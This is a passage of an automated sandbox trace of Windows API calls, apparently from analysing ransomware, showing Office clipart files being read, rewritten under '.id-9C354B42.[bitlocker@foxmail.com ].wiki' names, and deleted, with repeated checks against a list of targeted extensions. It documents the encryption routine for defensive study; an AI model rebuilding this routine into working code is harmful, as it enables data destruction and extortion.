lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xa8c, lpOverlapped=0x0) returned 1 [0188.222] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xa90, lpOverlapped=0x0) returned 1 [0188.223] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.223] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.223] SetEndOfFile (hFile=0x1d0) returned 1 [0188.223] CloseHandle (hObject=0x1d0) returned 1 [0188.223] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.223] SetEndOfFile (hFile=0x1d8) returned 1 [0188.224] CloseHandle (hObject=0x1d8) returned 1 [0188.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0188.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.225] lstrlenW (lpString=".doc") returned 4 [0188.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.225] lstrlenW (lpString=".docx") returned 5 [0188.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.225] lstrlenW (lpString=".pdf") returned 4 [0188.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.225] lstrlenW (lpString=".xls") returned 4 [0188.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.225] lstrlenW (lpString=".xlsx") returned 5 [0188.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.225] lstrlenW (lpString=".ppt") returned 4 [0188.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.225] lstrlenW (lpString=".zip") returned 4 [0188.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.225] lstrlenW (lpString=".rar") returned 4 [0188.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.225] lstrlenW (lpString=".bz2") returned 4 [0188.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.225] lstrlenW (lpString=".7z") returned 3 [0188.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.225] lstrlenW (lpString=".dbf") returned 4 [0188.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.225] lstrlenW (lpString=".1cd") returned 4 [0188.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.225] lstrlenW (lpString=".jpg") returned 4 [0188.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.226] lstrlenW (lpString=".doc") returned 4 [0188.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.226] lstrlenW (lpString=".docx") returned 5 [0188.226] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.226] lstrlenW (lpString=".pdf") returned 4 [0188.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.226] lstrlenW (lpString=".xls") returned 4 [0188.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.226] lstrlenW (lpString=".xlsx") returned 5 [0188.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.226] lstrlenW (lpString=".ppt") returned 4 [0188.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.226] lstrlenW (lpString=".zip") returned 4 [0188.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.226] lstrlenW (lpString=".rar") returned 4 [0188.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.226] lstrlenW (lpString=".bz2") returned 4 [0188.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.226] lstrlenW (lpString=".7z") returned 3 [0188.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.226] lstrlenW (lpString=".dbf") returned 4 [0188.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.226] lstrlenW (lpString=".1cd") returned 4 [0188.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0188.226] lstrlenW (lpString=".jpg") returned 4 [0188.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.227] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.227] lstrlenW (lpString="ED00184_.WMF") returned 12 [0188.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.227] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=6958) returned 1 [0188.227] CloseHandle (hObject=0x1d8) returned 1 [0188.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20 [0188.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.228] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.228] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.228] GetLastError () returned 0x0 [0188.228] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1b2e, lpOverlapped=0x0) returned 1 [0188.230] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1b30, lpOverlapped=0x0) returned 1 [0188.231] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.231] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.231] SetEndOfFile (hFile=0x1d0) returned 1 [0188.231] CloseHandle (hObject=0x1d0) returned 1 [0188.231] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.231] SetEndOfFile (hFile=0x1d8) returned 1 [0188.232] CloseHandle (hObject=0x1d8) returned 1 [0188.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0188.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.232] lstrlenW (lpString=".doc") returned 4 [0188.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.232] lstrlenW (lpString=".docx") returned 5 [0188.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.232] lstrlenW (lpString=".pdf") returned 4 [0188.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.232] lstrlenW (lpString=".xls") returned 4 [0188.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.232] lstrlenW (lpString=".xlsx") returned 5 [0188.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.233] lstrlenW (lpString=".ppt") returned 4 [0188.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.233] lstrlenW (lpString=".zip") returned 4 [0188.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.233] lstrlenW (lpString=".rar") returned 4 [0188.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.233] lstrlenW (lpString=".bz2") returned 4 [0188.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.233] lstrlenW (lpString=".7z") returned 3 [0188.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.233] lstrlenW (lpString=".dbf") returned 4 [0188.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.233] lstrlenW (lpString=".1cd") returned 4 [0188.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.233] lstrlenW (lpString=".jpg") returned 4 [0188.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.233] lstrlenW (lpString=".doc") returned 4 [0188.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.233] lstrlenW (lpString=".docx") returned 5 [0188.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.233] lstrlenW (lpString=".pdf") returned 4 [0188.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.233] lstrlenW (lpString=".xls") returned 4 [0188.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.234] lstrlenW (lpString=".xlsx") returned 5 [0188.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.234] lstrlenW (lpString=".ppt") returned 4 [0188.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.234] lstrlenW (lpString=".zip") returned 4 [0188.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.234] lstrlenW (lpString=".rar") returned 4 [0188.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.234] lstrlenW (lpString=".bz2") returned 4 [0188.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.234] lstrlenW (lpString=".7z") returned 3 [0188.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.234] lstrlenW (lpString=".dbf") returned 4 [0188.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.234] lstrlenW (lpString=".1cd") returned 4 [0188.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0188.234] lstrlenW (lpString=".jpg") returned 4 [0188.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.234] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.234] lstrlenW (lpString="EN00006_.WMF") returned 12 [0188.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.235] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=13936) returned 1 [0188.235] CloseHandle (hObject=0x1d8) returned 1 [0188.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20 [0188.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.235] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.235] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.238] GetLastError () returned 0x0 [0188.238] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3670, lpOverlapped=0x0) returned 1 [0188.491] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3680, lpOverlapped=0x0) returned 1 [0188.516] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.516] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.516] SetEndOfFile (hFile=0x1d0) returned 1 [0188.517] CloseHandle (hObject=0x1d0) returned 1 [0188.517] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.517] SetEndOfFile (hFile=0x1d8) returned 1 [0188.518] CloseHandle (hObject=0x1d8) returned 1 [0188.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0188.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.518] lstrlenW (lpString=".doc") returned 4 [0188.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.518] lstrlenW (lpString=".docx") returned 5 [0188.518] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.518] lstrlenW (lpString=".pdf") returned 4 [0188.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.518] lstrlenW (lpString=".xls") returned 4 [0188.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.518] lstrlenW (lpString=".xlsx") returned 5 [0188.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.519] lstrlenW (lpString=".ppt") returned 4 [0188.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.519] lstrlenW (lpString=".zip") returned 4 [0188.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.519] lstrlenW (lpString=".rar") returned 4 [0188.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString=".bz2") returned 4 [0188.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString=".7z") returned 3 [0188.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.519] lstrlenW (lpString=".dbf") returned 4 [0188.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.519] lstrlenW (lpString=".1cd") returned 4 [0188.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.519] lstrlenW (lpString=".jpg") returned 4 [0188.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.519] lstrlenW (lpString=".doc") returned 4 [0188.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString=".docx") returned 5 [0188.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.519] lstrlenW (lpString=".pdf") returned 4 [0188.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString=".xls") returned 4 [0188.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.519] lstrlenW (lpString=".xlsx") returned 5 [0188.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.519] lstrlenW (lpString=".ppt") returned 4 [0188.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.520] lstrlenW (lpString=".zip") returned 4 [0188.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.520] lstrlenW (lpString=".rar") returned 4 [0188.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.520] lstrlenW (lpString=".bz2") returned 4 [0188.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.520] lstrlenW (lpString=".7z") returned 3 [0188.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.520] lstrlenW (lpString=".dbf") returned 4 [0188.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.520] lstrlenW (lpString=".1cd") returned 4 [0188.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0188.520] lstrlenW (lpString=".jpg") returned 4 [0188.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.520] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.520] lstrlenW (lpString="FD00296_.WMF") returned 12 [0188.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.521] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=15856) returned 1 [0188.521] CloseHandle (hObject=0x1d8) returned 1 [0188.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x20 [0188.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.521] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.521] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.521] GetLastError () returned 0x0 [0188.521] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3df0, lpOverlapped=0x0) returned 1 [0188.530] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3e00, lpOverlapped=0x0) returned 1 